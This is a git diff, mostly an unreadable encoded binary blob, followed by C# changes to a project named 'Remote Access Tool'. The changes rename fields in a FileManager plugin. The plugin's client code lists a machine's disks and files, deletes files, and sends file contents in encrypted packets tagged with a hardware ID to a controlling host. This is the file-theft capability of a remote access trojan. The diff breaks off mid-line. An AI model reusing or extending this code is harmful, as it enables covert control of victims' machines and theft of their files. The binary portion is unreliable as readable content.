zsu;a+)(GVdcV()WvHEB>raa4rBf(|+_dR`Ly$}K4N*S%bGQYdis|yOP#-u=gNda0@P z(hj@U7A`1&)5(M`Do=*TOJbMb9);GacwnW&G(Ef!ibpxPBG z?&zOOCz`*81}FO&rr;I}G63P9XbFfIH69J(j;`&8lGaQmqZHh1NyT@}!m|lp4I-n# zbs(FCw(#iK(eZ-?5x*z0Lh8YQY`s3$ef?e*LgA=Tl(u~t>x_J&8u0wsAcajXXYx)$ zSJ6QtYlQX&yE0YwSb8*@T;4IGYJgU@bo@z1nJnN1Bdhq6_`UEHwzmB7$6iFE{_KJFTs4UIpL5#drla77_QGxj4dUWh&EvwOo%NGz zmNE56 z@WMqBdKDq}11k8a>RnJ_V3{*hEDQFy4BStbjV2dMjZ2Zj*eET<=5UBSzQ+s|rd}!rN_EkDVyPxe zUDxG{@U%g5s|%fkRCPEbRM3WQ)Q8Wle8|Xrl-91+S*S z{0r5BzJlh5rjBkK0!oHy=1oz%NgT;cR;GXsPtkXDQ>7&1(G=je0&?A)5Q8-H04vP` z3nIn4jD{>0G*6C;dTPBd;)Y@fOW@=+5=;~fD%(uGD&$Mpv z!PRkTNG;)2*!ml`l*e-3Y$@Epo1DTO)Ak#yaURtV9%)VeHk~ zC8CqgG&bm9CbIE{>VLb^Bk5{O3vj)Jj`y+^ZA_9$mv$nM$F{l2P?8C9_ogL!P!b zY(fUVf2ic@{ayv&Q#vFC;%G8T_XKO?1B9^e0S5WKT{uG8u%Z^KJ4|@cI9#eI#vA;b zY3dE7ogodga%Xoww02nOqi-hEX6|2CucA@}k}}39y{sp~9;rEr??PfZHg}gYp$UgR zyRN9dCanNNrj*RLyJxmVtw}T~6HEfr;#jcH%DxVa{H@;|0GaB&K2w_7I)8CoGKMq@ z>*q_o!&a_iY_IAW%2d>{ zz*ilGP2TgX?Yby~^ex**DVt<2h%1)1SD7Y?ac=*&D~z-?30FNldLyz!8b#4uyd#ZW zY6w+a{a0k?kmbquLH|}RhS#fs6%S>;51yL~S-np^_O;pqy8B&;ly(agw4{h9`$5Gi z@<2Oh=_8=lqO6rue6t0$9==|^c;ea*WWytB0VQvqAr7Q|F2z%NQNc)==<1(}*5X9p zWEzNn8U^nBU(`uKUG8g30uTglI=L1+Fl{<5z}u{e_Y{F-islXX57pv$RVQG8ug#NV(BAR zPojM{KdrK7sXIRULAp{JTQu$LA123$s`AlIeY$3Sw5Y0RWV3P_8+|t`t0on1SHd5X zMYBOZiZiG(aN-yN$hoss>-`>z>r&gTWsNZWPH!7;%pR{ag9_%{!C+aEu$6mS7W_3P z7V>ZG=XP`DkD zmR4nu?6>iXcVMs;He=QL!`wU#J6QLbE=MiOYJe+Y#w!VsZ>^7gC3yS;QtVGUGo98g<$lfYeKFUVAZ-#DrZRI44R*1NMF-j6jv6Duv&Ad zeGZP?G|o(_N(V>G8e7DUnw9#S@DCIhxGVA^@gk)KetvbsTip#qOVrACW?fU!gI_-~ zGp0Jxo@C3e41SG#PoFSz`rXJ{SlZGCn=&YHKMQBo>^Is``nIDYJ5 zSxt?fIw}eabF;M&+_uI(Hkv$K8mrQ}JZu1U^<)y}8`2dQh3uHN?|-l!l$m?XgHG{n z(Es$%diAH4t~7eE(^<&&Q)>A9(vRy9RX9Ru|4p)l6`-2C_O8_f&QE}b7n=$aZ#05t~xkU?rP|2)N524I6R_?i+yWvbpW4)n0`dDdZofzRRB z$>-)WlNA@c<4)V0-L%%8C`+^~H`A8EVz(@Rn=9tB?1)48)&0x?)-oi;hKOmjDX81KJm9GsY0%d30 z%A-{##=B`qX}gk)TobF#GK?^nt&Auy!!-Zgw36mMbUtZnh{p!*`MG=qnaJ`~9)~p~ zV0&i#&0Qi%jW1#um0coxV4joQ2cLbA`kA0(qumkHgx}5IMTXg~D%OPnW~ngS#|LYl z^rSA&D!$23ZL_#bZy&#NAB)%6V`PyTW?OvBfe`6y7qt7sdyMw+S5NtX2tW`(oie6t ziXv)ZM#n_uB@GCn?Lq|(yfgF{#^zmW7oum?4OSV$ildxMlfd`*i->9I;rxR}pMkjX zwIvc|wev2yYaB->w%u=+(mQ+Jg%IZs*7yzFP%Cs8_wB!4o`)?cGGW@X1u% z2UPJeMxe~rv(Rh6)WRNGUsfok-#j2yJB-<`0Z*mk<|h?_UOnnse64WDFxk(q7RwF; zzwI>lKs_=9n10X!|YdXs$bPOQp}r76gaP$cTF?=A5L6*Gk1V~#$+P7$hAU(@@zj>*knb{2;({#t+7l7|!B6jMey zPWnefC(5-Mu!Uxe5~V{`K^_L_ug6~KJB1}Z88b+CJmpA(ijxKTM1$ z^lJBnrRq^H;-k60c;0H2)%S}0D;zb$w8ukpR4&}s=E(wfpHXap)wegv8PaW6C(LoREvq^Y`@SFqKYbr9s_OM1P9Zq%E z3~hqoc}Y+Hq{ zllx^VK~@j#TZf^o8dfcbOh|PbDtx&%W8kF8qQqHQZIIh1+Yt7`lxmGCDiaGHd3~)q zzZzUp9E%|{BxnZQN9ZY4`>I(JY0}+y{I+lMK1A-6>B$VenBqwD7w*Xh0m2V0Lqe)m zd8XB5m&axux1FX&Jy=T!W)La?R(HYb497~p{--DMG><=GMu#8Xz8aAT{|@`?dwPQxXG zgf0eNq&|6Mx;0iqOm(o9P?*NHY9a#g9*R(OP5NtNrViArX1v#?7TCR18SFB_ST@%b zlxwN#(wohY5{`(@az=ekDzY*p5PD!-4=nehtQnZhGTCW5+#fSUuoTj?ymE zl-uS%5N4X5F*g_~@MKK3LTM8Uk=yAguUUyy zKi}_N(ivh^ZPOD%5KrSR_kz?9Y?jx^*&e=aS>V}pDHBL?LY8M6Td>YT%qBf#gC(=@ zzWoa^MiJSO;$iV z#d98*A+&jP9je{Vbhg_UMLGeEiSnW%V3B#8^!(uJqe-)gA$Zp7z*ke@MVG0Qau7mE zaN(gW?_s{|z*$m~-*}d7_fS=m-}7uIPwRrLQF}ATvRfS6g@+IU}DVIADF(+-!KnG2&h>2KY78>OVC(P^Xvg+o#BgnxSYBSd5hgu zu+&00eqRlHxggVRd5f#)RV+?k*huL0+a)u}$eSdFNVDx`F0$cIch47LsO8I;)1$UM zyhxwmy8jGRcSK`F^wyBiHs5)0%+RV(0YSx5-m_cO^}p0ly?U}`48?vr7Y!6u+23nO zB$3`{*^=#7{n_}dtD|F5s6eEP4o!ArAXwY?B8+Y3qjDT@MPEzDdjt63N; zvpsN;eIfB_Za+K=eC6-_=tQ~J)Z-~k?*jH9q>cWUa%Ipfww9u@KArPWVeDo1ZQ#!? ztZoODj&$Bzzc_18{kEA}O7M>i-YNE$6(9eoK+hz%8e>_%$eiNp|Ncm2^2frX#2L@Y zrOP_kG~P>JbL4n`cc!_jtut7Qz`7i$ZmOz zNHX+i-o% zhE^X&p-pdjfYVZTh1amnug}QkR4t*>~sE1&I&8MpB)!#)O(CsnGQ(sNiE?iuo1cCNtQ z2O#1r$My_aEgzrKvszlOAR%q&zA2y6(uB$zHCN>_hn4SbtmOYo<*F>WRH~%E8%o`g z`op~HZ*w)m;%%vW=df=NXRgx12t&yX{Q|919zG+atWjgjVc(FGbw2!JUgD zK0^Go4`U?6d~VJw7hF^pg6YlNNEkWW`kOVkWB6t@VK0_CUEQg4a75K%hRKKq36PLo6`xSApQHj&yT5K?mW{rPq6Q6BN64E* z@2l$aYbDgiY82hdrtb4_{ADZQ5+Tu;=5OMN+Pf1``__~ z7$Y~f!{obTfAyK(QPcYJypP*}Pcl@Eog&w*&ySu@GCNE~saVfV$WT=v=jZ3M#qado zjUh_v6@{_Os-jAJHl<0Q#(nxk972};(%2d!3RRqQ9OGvl!U`@G6HPuFHIb?gSFNfs z*)R&2xbVkkxbVjfdLt+QQT6TiG2Dm*4gzqf?v{=x;0+7LPOP!Cco1;J=o@`9Lb*f$ zN0brDlByEANLdMWiMC|-_58gXKh=}X{{>n;z16hEc%6^+zjiZM!+ zp>5aNoAF5+jN0W%HCi$hcIiUeEJPdi)%A$020aWeT`tGabG;F z)H@S?i*bU6JkiV!Jv2 ziZs_9UnsiO43L64BHOJxLk-7PK#B;+j1A*1Oisn)S>xGmD?F1)f_;2Ru^1gA6=(frl`yw@rQP zC`fJVXpL#x)4eeJm^nsMgMvt4j*{}kX2}vv+BH#U8>NE__u3#) zE-@i#t6^8RG$CGvhSCe0qdC(z2QUjC%Qs)TW9XHoqUj8Yr85F0j-AHJhLZ{4G5w*2y@=Hsc3_U7GzO!DMg!ErZe^L?PLEP_o zaP@m0R7n39;=eF;t0?3*tOr4U8^ReGIKb|I$dqsx@$cCEIQ04#4g<;fCrK*^g2I2t zuh{=_CW?Os>6Vr%zfnUiegwxs^dnJ#sQW1XlgE?@^)N+aHkJq>DP-(Sn9Xz+g-5hP&9 znWMc7KVW#_j&rL(0+jiF?^nYczPxA(eQZFb3_m#MvjQgn+{W-WA^)=Go~ih|k~8D` zFTVbF!F?RHF7vyxO8grR0cF*J@gI=*v+%3S-u%7nkk#V?8vMU+73$#s()gtmSHON( zq#b_WMg(d9of(Tre=F>izfVp<;(zP>|L$k|TejHV*04V#@Zn~5y(6?u*W^d=LC_aH zx=7LI66!c;cM?V2l2bFR4H90sEGa#c^?iA7e55s+i{1YoABmOdt=)!i7q^{nF)OAlu z?d>;Bi8;|*L>X87# z{}^CTFg6VqV|Pf-{$jMQ{g>g6@Lkt|34uQr@?MO2@()Z%H1%--JH-CoF^V>eKYe_Z zdTA||Wnr6VU{03B%o6Vb9N>>{vsNR2@mH|_AWOqGGs})F^Pz2wa>{DnpOeZue_Kbg z`KRxHcoBE&-=ElcQ2&C>qu2jFKWy2d*5)rx>^=k~`{u6`p72~%qnSa68o%8Qg z{fiFVTYo#u_^-j@+j-_Xb-N)^%8Bv#FFT9%{erY|n;-sPv6>-WW&Jhy-M7d5BOZFs zeg${t^6xuw{IS!YTtGPeF}$TyRR`{`7O(yS?v|sTxNUZSa03{?kzIc!RA>5sPTDz% z(Sdu**FR#u_xH`^{$|tFkg;u3K&EW`ZeV(nG9`i`D4xc$VDYY665&Fe-O#D*l~f&g za!&R@Fkh^1$dkfr`jaQ)eF$#-YX$5vbwwz{{Xzy>W%9xo%BpP2f2v)JY>lYdjJA0w-=XoC?DH~&B%`&fL;|8h3 zR6J)fE$_P!?7>VdCH)3LRAkf+WsCAUmI5|I6`mD~vPa}bJ4Ke%Yh3FOLs&J6-V9N~ zh1^*r@4YWP!eYHrYA?U%57T?A&J$zmFXvmXdp=D_5wD>P_r3_TEqpN2gD>%j?Yu?@ zC;ue)>00An-_W=l63-4|5PW~T_6f-ZwwN?3w|*7;ooh*5z6a;`m7!RX`?}{W1^e_y zMQ}RX?UR-9?w!0d?aD->kkqv`pGnI)IOb8#kSS|T?xblP*_3UablVlZq3abk&CuG_ zd~ct&tA3U5!t15i)A)MtZJR&NpE3BJHS9*0oxJYNJfP1{y9sfPoe2v*+IPme^e%jp~8xb9$ys;rQs>aUAyBb--l zfrBn1k`i%r$#FNdfw0V_iOwG*KdHK6whxBSnzB%_Kj_(BC#F}NOFQSNOG_IG<#^Od zA;^EgoQ!Ne;ATA92)sP6i>I$c!n{~Nj*C=Z-T#iYQYWUs*Rp@nB>FB&2uJ2lljELjJ-@h!ho!X??L&!P$0<)pmM7FG1IZ`}O?n?v%?-VFBET#--=I z&qsV;Jc)iizw96SWuLXj=O`t`IqME3Z4BZh`K3Qe*PmE)5JcW?Lajl%O^FP*N5nqWmCNnLMSzL%3-b`9H+n(%DisSwa#i-_3% zRMyE6w7VSeom(`w!~Tht@3woDEuWmNE$NMPAKy)fPO52pI8^g+x{*PX} z)z*pK>#N~v{t`q{2n$$DDd^p8nQ|t8JPa|s~kP1N?^Jy4>GgVctJ)Ok<*|Cj9bgHrkw~up=H_a z+l>`!hkld){GCJeH515gAX`^lnQ4HOoeL# zYF3cqkVv0!It=EkSBGK2D5-EJ;CRYfGl{_Z{LtiJEMPrOD%=BjOAaYE1Ax52Qt`)< zQsL+q2Wv(oU&qsh1%p!I(i;^JJFs$Zcv*NJD)SYF1SuSaZD--zV<_O#$37h}Pgt^P zWLdIlSYmiEwu(Qg6c&P(ZAS>OdjTn4_*4NAkx_Pgs{;-JctMzlg&=0zkp|wjfzK4r z^CHP0_t^8a2?*csGblHW5+uR4gEkH7rb_ip&cqJlXWJp+qxZ*Ut1zMgb(5tw zYj7bg#J#9@Mq+j$iGzrQB@4$5LCeCETcb;$MquT#m@Q~oMDlxrT&P`m^f1bGGO@fM znPP$O%7$VD6y z9EWYkk`F5glWk|slGV3j5q;c-fw5kcUJPGFjDh=kFh1K37GZcW58I9kVOTJI^c}83 z*(>!hHu&WW%pidAsFp+sL#-K%hd5mt`;l96fO2N!^&Pey|D@;FY-~HA1`Gs1Ku zf{Dw>o4Yf^a{=XcEX3)pphCD3H0T+lUNPSa?BIvS7~_(_#@~72-GFGPLr4)2>aQXN zNdxY>lI)t1bP^)yht#3?;mNU|Q=s@^(cPbIVNqb^#ONuR5NvrGvNo9zj9U@@k+`k@ zBuHxpfA9dB7#=7zMFUT}jBXqiP`Q$~w& z9fn<_-wN~_-BpZno!jN~2nS%f1kx1_FhTb`m<(8rk9k(tEP-})^f?DQ6%jr5nGi+} z>~QP?%eWOLFg+RNUeb?I!KA5h@ng2{*}gdGA0q%y++iZO3((;7x8fc=A4sN{e3=_o zwjGya9s6Wy-H*JZ`EsfR2IW7Qn^EP_(lvp05#4v<0DAzy5(x6A1MtX4U)l1grvWkI zjc>m|V3X{=iNpJW0+$8+?77o@N1i5~2h0OvzMldl7Y1_;@UJjFKyoG5f$Pwiy~Y-F z_tV@e7qJ=7-%0-=+8*zt69#OpaGZxHYoy9ziD9OCHVQ&Ck(q0f)S+vT;+95qe_A$& z6z7O_92GI$_b=8_RF*lm<=jx2yH)8xc`W38&%~k^Imu=7F#)p=p&CF`xg!selQ73i zpxq4o79BL5`0^}V;suvrWz!BKgtOL6sDxon0aXNC)) zk6loQOc-Tz2Vn?6uK=k7>b;Uefiw;yiYhUp2+(}}{F(v?m=%;BgL&2N^+iS~ z5oFaLGs1~(1yTEiFM9eGLt(=)hbJpwsSDIiBrhmz8YKm^mzT#ZzORoJ^%DS!#J558 z0NM<%aG(GplJ^xVbz~R~g*=|KAh-@a36=UjbPudd{Zbef&tTceNA52Wo#{LgwT{Bb zLLCKmLnTa!M~9Y$C2NR~$>t-gJfn((m@qsux8iH225fM>I1e2Si{IMtE+S43CU9TW z#|#pV7Imh16%`;92mdAq=?TNSYgCTqQz^G2-#%$id1Vd26GtS=e?gHbF2&8Rd`s zuFtQ9*>=Q-)i-?NHQ$~{5)dx71L*@PR*avLxdE<5e4Avj5D>GZ>nhfjoYoBSunSZg z1@LC2AOwf;oXSV$21kBh=IB?(^Pc+iB@o2=O zo(q-vzK;ZcH%jW<4v<)ES~DsmaZnQg@DWw$$n7qAkVFi^0NOg)Iv|p?b>Mt7zynjg zh6Ui(*A3hcHWPtf1g!g`Gts(L-L@;S=cof zkU~xMEVbf>8vtyul4=HS1l}~DgIn|1khX|q1TA(!H}G>3Z5#wcMmZv3XycU?JC_t- zp@GI94Y2Ad3$&fSgfu7^V4Axi9Pd_e!8-tRK!TkDyd1%Vk^@(-1mc3*E7GPl>`wHZ zeSK6~biy!NC-7_oT{W{mv8^&H?}^Rle^`~HH?CQquz^+W&E*u)Q%pt`yul*4}{A zVcak3*5KX%xsoB!Zv4Zh25ZLTJWRLp1AC@}OpS*a{7Lb1Ib&a2Uw2v%#}_8*h!iBM zlTa+nA1blD$wI7A3+H34R2WO8wXzB<;TkQtEz2HOD0y-;+MEu%cp|i(Nsx<76(6`h z!|y~vuFH`KgH+i;sbLrJx56}iwxe6rUbuLNSRGe%dRj|SK~jlE?7brg$A_Vrf=va4 zZag;CH5?a5%{W}p%?iK|KYysshL{oDPY z4hlZ?^nmN8t8*Un z*ybDF{?QsG6-;~N-hzFd55;&T@rtPyiL9`N=sz5h&R3^z{A+Z3SQR7IVwNCozMQ0q;$fdbf)@{#VXzE_|=jjmADq{N$Gik?;rTBXi7+o0_QBixSOuGvE8SVvmiA)93}$!c|Ksq zJbHA39vS7``P9!}()Fg6Q0hK>ZTk%W_`wsAQkTXaqWkxSArAI*r5J^%_ zvIvgTX>S3jG}U7tUNP7KE&O@&leXFS!HITIj;i-9tj2V3IC{%TK--1UvpJCsos~W{ z7AFm#fT*#~dG}2)2oyfR^h61p&4Ko*XEEYw<>LnwDuHayXJPxh!EQVVFLaQHc2Pacl?;3}v==di=Z1WOc;9L{ z@``m)8b{TyCvig=V(XNKnW10=ulSZb)@B&00FRHQ*nM&=E^}2Y6Jj6b^pwQkzI|b( zP4xlQ^Hby=m&OJM54JvhkZNby1nkh%4B{wSeHYJvO4QV2_80}+ zC3HRGOVT7W9?i^=ZiQElec@*pu+Y<0sdRN_akBl%qA^rk*Mg?jNB@S6kB)CsE=k^c zX4%~bhqdyezBrFASb#9Am4ky>H$zz9!JE=*EApJfFP>OiFLiMqI*oUK1xG@CTOOX# zsIw4Jcvc;$D9^{|xX;!$v`nqGNs?2S%_gEy8;ws<^d)J;0o<6qR1 zyLS-iHkUI_-Uv?XNj@VzPphtDHycG%W;^Md)$r&uwbktDn%S7tBVteN7xWAU*7{D_ z1?Wa>@)Pb+`6ab0eFV$ddUGs|26+tU(uh$1m>CsIPB@4knj8b^!q{J_v-*gX$L_}u zeokuejo{ehKYYnNoN|e9$BU;@AG{tniD+;x5*|RNuLXBYQqsE_7vRme54&kt(oioL z)C$(BWnSWGPeaAB`DWvt3LOLrYi)Qxl#^}JYii(WstsDjDCi|bxIATBk?ceQ|kl)gGwS23FLC}iVVKvaXqi>0n z(&TPpeRFq@AGgMz4nD+`g6lsn$ZJ^}FW;yWziqflrIs~JS`qmnsNq=QD|>I2^6=h4 z0KUak2{i@N@tCz(dTzEW@7Lp1Yc6*f^ySkJeHBXnfoAty{E3Oj;DS@zAf_qIK5^lg z(q~8d^Z{k>cC5LrDg*jST~?7iq_Y!B@TR>=MLO!jx)qseD-;d_K99j%eYk{dN~w*z zl_c_Fi>Y*XjJQ0abE+0rsRv|4{QEYf_=s`$h9}3Gm&zGasQ2Paj+^_oTpzoc%tz{G zrr}O#r)344+fB+VY&|{0o$x8walkxGg!7s`2jR}GrMNQ>fASo-JNo7G(lDv0oX0&% zRl&;lYRt0+KDF9uu__&)b5pb`l~u<%*{MPQH{uz?Ht%+Gsq-y(KeTJ8XDghu3kW}$ z?>n4)-C4o<0mA5Aj@A1hcOpA)P!wM`=*pa*Du%w(-*CGvPhMEkBbtRB$E&C!SN-$E z=B~P3grcsXuGfl)Yf7v&|K+P%8!Ej`@DIF}&4!6XxyR~5b8}e^#!LCm?W%H|+s-gT{$+dvXX8%d_gnD`1uQOkpD53#=~&cOrFL~U zsBvUjxYUhWR`wmeeZW&|I{9RKe1314>T>S+`uWLn0Y2W0*0VaYN*+=(Upun(mm;4u zWnohMk{$XIPFcGN6Fc5lVJ!wNA7Vtt8|#x@*C#(5r`ky$vgV$ty`jI}KH)t)9p2d+7g&Nf1+htr`e2SQ1+~X#%ocXcq!L?vSDY>weePCnd z)wU(;bzRH)qy;=VgLYDJLQ`pddM;7f_^p}~_}qX>rI2~l1l(GC!K^01URfPRE9~yt zy7%y!t)TdrwYv8gEjL1BdF#5$y?LMJL6RftR58T@osxElRjsOb4!Vw&SGCWC;=1|p&;+uR$B^#^c*;@Hh*MOQxttTrnal@E#w%x-ZFE?h+ng^sW zQI9@}Y$jb*^Ph<)7N=}>*tbrDbp#yJgaj+IH69WPq+v<35V3HsG&MA2#%`t=l9HbV zNMp&LXMd5)=|&WSQkImA?>E778c$R-dReMS8lJ?dZwmk8Bcid#O+ zUyiLbu%<7pEO+Eom94Gec;@1#UGBvBP-5QF*VkmC&B@?2V%#;i;eOf+#-UQyv6Q|h zRE=dfk$~BxAU5x+GNrU7s!y&?3FX=5MEC@*$<*WaLy2^IU-mBNSd+5m)~%{)$+@*c z?g>1E-OaRaS(`W!7JWh5FRxY+q`Yp~-IzG!-Gb8+A+o2I){6S9qtLki@W4|zgCnEn zVGXU&_<5>}+7g-RRHJg$W0vGtZF3(kFG6mnPa100kMS1CRpmc-wKiffm@9Zh;|Z+! zGO`vnJig~D{hkAKiOV%K*}dT^Z!gf}E_dN8Vd}>`$t+H4QwDd;?rtn@Jgm{bcv7ve zyr(y^cwUk++a7FdogMk=QJGzJxa0PVDZ$r|j#bsoq%dB;gEz;F(|9eZx;@IMc=TDu zh}*_d#ni{2B~3j&>dq{8)D>Ssbc&!2V`K?N!FRGxXK#8Wn?2(*5`+RL13Yxk znJ3q5AGI~5^ZM5sO&K`tRyyNiGL0~urFrPCClFT#U_&rE!X!QJ1Z-?%pdqBHn{25J zf5bdF#RE&vII07G-rz!1by^S*An~A7792m_lX8$*z!~LeCJ8e-V=yWWn>?I*UEf1| z_X_u|phAeR+E#a3ohrdY0qyRmrH`NGcSp16`SX`82b?QTKK=pIJrdhj4C#0YDfya` z>@Qi)Z#xydYLoWqQ`_ASJ|tX<#BYcl#|3C29(F4w{+LP1W96#JO#K?}SZS93R56`q zmYPemjEVj8NU)No1=a3awOyy7-C!XH*E>;mqI-i|$@$o? zv3Ts7h}Gbzy)#F*S%$RGN4G+}a*Vp|9p`+8q=c;ZQfK;@r><~D#k)=ZtuiGp{;a;Y zLS&O#e)rYS8#|8mp00fuFIOS6r{>3?#_N>q!o-o|w=o&%bQGWDT-dAY-6uExAY#5% zsBzAVI>*m#HR%?-X*20kbEfAv&(l?Xbn2+q|Ga`*-b<#L>WRwk-Pnd_@rh+E{nCVM z^AU8{fNd33AmrI%K(li2tZmgAgkBXM` zyCkeXq|_Qs3cZw<^>K$9i3auKH&%Gtx)3+Do{7j(*w+NB%AL#tGi8IFcq-n@hgmia3i(}3AL=vQC@TX891>%vCcH6{ z9sBk>2HZg7X1T+h=kMacZ(83G)qlh>JYwH}R9Y(deAH=pGwFHEcN5dkU--9#5^N;D zm)u=gplqP)JJp$@rv-c3QZDJ~&S)}8mKr`OjKnGydp7ri2#fjbgTHIJdo7i~iCS5s zK-yrZ?;`{yx4z{*D74ey41P7&_I@U{}idCfOkRl@Vp890eT=O1MwCZsfZ+ zIOBZ=wz_^0|E$$MIj8%EI-8Y-#mjaCBeE@}gwpK?5zGCZ`?_Bl;=BiHhfSRF@A4yX zTrb*ny$#q)b>+D;Db#@v4eXfmKPBA|iR4()WO>J$09hJ+d2Da5S4U0#_zB5O~Fat)oHI7#}V~T7jYw0 zAIL_pekG0EBCKaC!uln+MYJtm2)WcdSo2|Z9Z{u#$9Qr@6HL4U;iBEqW=}-tD+Ih0QNo$uBDpXeEb3Hc1JG~yE>5SgW37)o;C+OJg1FdRH>6JWc9A;Sh zTly$5g1w99ckLRsm9-o=YZ^`|xsSGIg0Du~dSs_H1KvOu0$U$EX`OuP7wO5kty0D$ zFnAM{k=|dtURinvw5soNHeR5-Vy#Sf(8=={{%Rq|3&rqaJ~l1(!-~7|?s_zAYsOkE zIeUiIutUepT8u3JZue*9QrmU+AIm1DBi5Z~ZzJuF=Wx=I+Lw}gPX;Dw7II+}2~ic4 z%KF(ljJ3@I2f*j3qb(Si;T=~jEvqAA;dUQBdIe2UTJ>BU zNu6YpeH?Im6;>qL`P|+Gg^cS_qY1dRm4bHLQ}{lG%K^W+q1r+N z@lI0OS%|Zni%|4jS?-Dyp2)H;k4H9xn4VzUXoB%b9vKmBfY^zqM?;fxuK5U^)c&c9 z2@&gsAcR6nkAY6fav={Wo{L%>KgV`DC(?QlvO>b_hh^MZnf3=OjvDnxh^kVm> zkFjMttYp%<+(W9v#>UCX$jNS&u;$T~P|^D*P9#pji_kgCmVN^)p?#uZTVo#QudfQY zqdVyo;_OXkW(v;j<;-eUsUI5|Q4e;Lo7G$Gl+Mi8_~esz2KJ|Tte0GSC%<}2fH!?F z8{M1C#WEq2^J~nHLK7MmJaTOLD1EjBg1EsX%LaYM^jI6q4*k1gL)wTR*LPP7HEEa zcoIiEq-GuJey#9PkyWT*)&*Cw?CVYVf6N8S(c^t3{>XA6S8 zCJKVD#`*Lt^4J0UU45P+pfNMtxT^bO;zP-Bu%VJ{l3#M>*_SSXkYqF=&U68wWrL1@v1)?UH4UXWIjUt zTv;)Cqcko&xAZQo?;Ag!y~w_?w(DZYTi_`~$2DU9_yIe?{9_^%ytUO)K0Ux@6Sq!C z3%gq0W{;4ZI9+ngFs!LO7hYKnrnod0(Q-#>voZZx>*wXsC;ag|bEW*QQ!>RvQc?L7 zEZ=rVn&J9+tI+tz?rsTQkudq(_)d$J&TPMNz7ln>>EVFd*?`&{yF}A#k4ioR{{+e4 zA5%M#Ie2XnZVged-Yf~4fE*So*OeU{I9RisUqhq3Y^2LWv~qral120M@%t~KMS(0BG!ov9=6wAGcFRh% zRiqXb52rLIbfPxC52O(JEIO*WTM4yr^3^#AX}Ub6fjP@QRGFG zKhb`=^jvTLPM z!~>P`USjsd)fmCa47F6VIgGMbdA0<+x?01UZy>Gj>NL%HQ;(Iv*b+%&?Mp(bYJ;z| zy?&U03txmUo9w7@iL9N)i+2iFuY{_7k_T6{){2O@E_K~)v^BZc89d42;XIpNW0k}D zq0d#JRYUD%O-?35Hfy0_qv@)-nM_^nmbh6{bQ!HDArA}mv9OZJrKz~(o$bkQ& zplj47h%KOB%Kq#$bhG5<-kw{3Wm!pgOEBUAUu<~j{V?phf<~n`e=evJkEWy` z7Q6HaS~#XAAX4EHkGCrj+pZ%4^E|-=Wn9}MnAy%yoy?VL&YLz&1K#1#^kd(4zj(;W z8Jb-OVmq_4lY~Ab@||DznTOcqr(Vpe#D#Icpwug+`R@kDrTo?xF7SZmKKO5nm2iQk)mIs6ls5+)bR0pOC11g8$`95QetMSU`s#y5K;b z#tg|h!!v`Csbl{gyg=cNcIvs_gj;y0fj$L_86C~>6+@Iqp!9JZuzqzyd!Ej-uzbNn6v-OG0qu@B{2nw$=QkNsl|H9`FUxX>1 0) { Thread.Sleep(100); - DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.baseIp, loadingAPI.HWID, this.fileTicket); + DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.BaseIp, loadingAPI.HWID, this.fileTicket); IAsyncResult ar = sendDataAsync.BeginInvoke(packetFile, null, null); Thread.Sleep(75); @@ -192,7 +192,7 @@ internal void StartSendingFile(string filePath) { buffer = new byte[totalSize]; source.Read(buffer, 0, buffer.Length); - DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.baseIp, loadingAPI.HWID, this.fileTicket); + DownloadFilePacket packetFile = new DownloadFilePacket(buffer, filePath, loadingAPI.BaseIp, loadingAPI.HWID, this.fileTicket); IAsyncResult ar = sendDataAsync.BeginInvoke(packetFile, null, null); int size = sendDataAsync.EndInvoke(ar); } @@ -202,7 +202,7 @@ internal void StartSendingFile(string filePath) private int SendData(IPacket data) { - byte[] encryptedData = data.SerializePacket(loadingAPI.key); + byte[] encryptedData = data.SerializePacket(loadingAPI.Key); int total = 0; int size = encryptedData.Length; @@ -215,7 +215,7 @@ private int SendData(IPacket data) header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; - header[4] = (byte)data.packetType; + header[4] = (byte)data.PacketType; lock (socket) { diff --git a/Remote Access Tool/Plugins/FileManager/Launch.cs b/Remote Access Tool/Plugins/FileManager/Launch.cs index 386619b8..df5ddffb 100644 --- a/Remote Access Tool/Plugins/FileManager/Launch.cs +++ b/Remote Access Tool/Plugins/FileManager/Launch.cs @@ -16,18 +16,18 @@ public static class Launch public static void Main(LoadingAPI loadingAPI) { string filePath; - switch (loadingAPI.currentPacket.packetType) + switch (loadingAPI.CurrentPacket.PacketType) { case PacketType.FM_GET_DISK: - DiskPacket diskPacket = new DiskPacket(GetDisks.GetAllDisks(), loadingAPI.baseIp, loadingAPI.HWID); - ClientSender(loadingAPI.host, loadingAPI.key, diskPacket); + DiskPacket diskPacket = new DiskPacket(GetDisks.GetAllDisks(), loadingAPI.BaseIp, loadingAPI.HWID); + ClientSender(loadingAPI.Host, loadingAPI.Key, diskPacket); break; case PacketType.FM_GET_FILES_AND_DIRS: - string path = ((FileManagerPacket)loadingAPI.currentPacket).path; - FileManagerPacket fileManagerPacket = new FileManagerPacket(GetFilesAndDirs.GetAllFilesAndDirs(path), loadingAPI.baseIp, loadingAPI.HWID); + string path = ((FileManagerPacket)loadingAPI.CurrentPacket).path; + FileManagerPacket fileManagerPacket = new FileManagerPacket(GetFilesAndDirs.GetAllFilesAndDirs(path), loadingAPI.BaseIp, loadingAPI.HWID); fileManagerPacket.path = path; - ClientSender(loadingAPI.host, loadingAPI.key, fileManagerPacket); + ClientSender(loadingAPI.Host, loadingAPI.Key, fileManagerPacket); break; case PacketType.FM_DOWNLOAD_FILE: @@ -35,39 +35,39 @@ public static void Main(LoadingAPI loadingAPI) break; case PacketType.FM_DELETE_FILE: - filePath = ((DeleteFilePacket)loadingAPI.currentPacket).path; + filePath = ((DeleteFilePacket)loadingAPI.CurrentPacket).path; Tuple returnFromFunc = DeleteFile.RemoveFile(filePath); - DeleteFilePacket deleteFilePacket = new DeleteFilePacket(returnFromFunc.Item1, ((DeleteFilePacket)loadingAPI.currentPacket).name, returnFromFunc.Item2, loadingAPI.baseIp, loadingAPI.HWID, ((DeleteFilePacket)loadingAPI.currentPacket).fileTicket); - ClientSender(loadingAPI.host, loadingAPI.key, deleteFilePacket); + DeleteFilePacket deleteFilePacket = new DeleteFilePacket(returnFromFunc.Item1, ((DeleteFilePacket)loadingAPI.CurrentPacket).name, returnFromFunc.Item2, loadingAPI.BaseIp, loadingAPI.HWID, ((DeleteFilePacket)loadingAPI.CurrentPacket).fileTicket); + ClientSender(loadingAPI.Host, loadingAPI.Key, 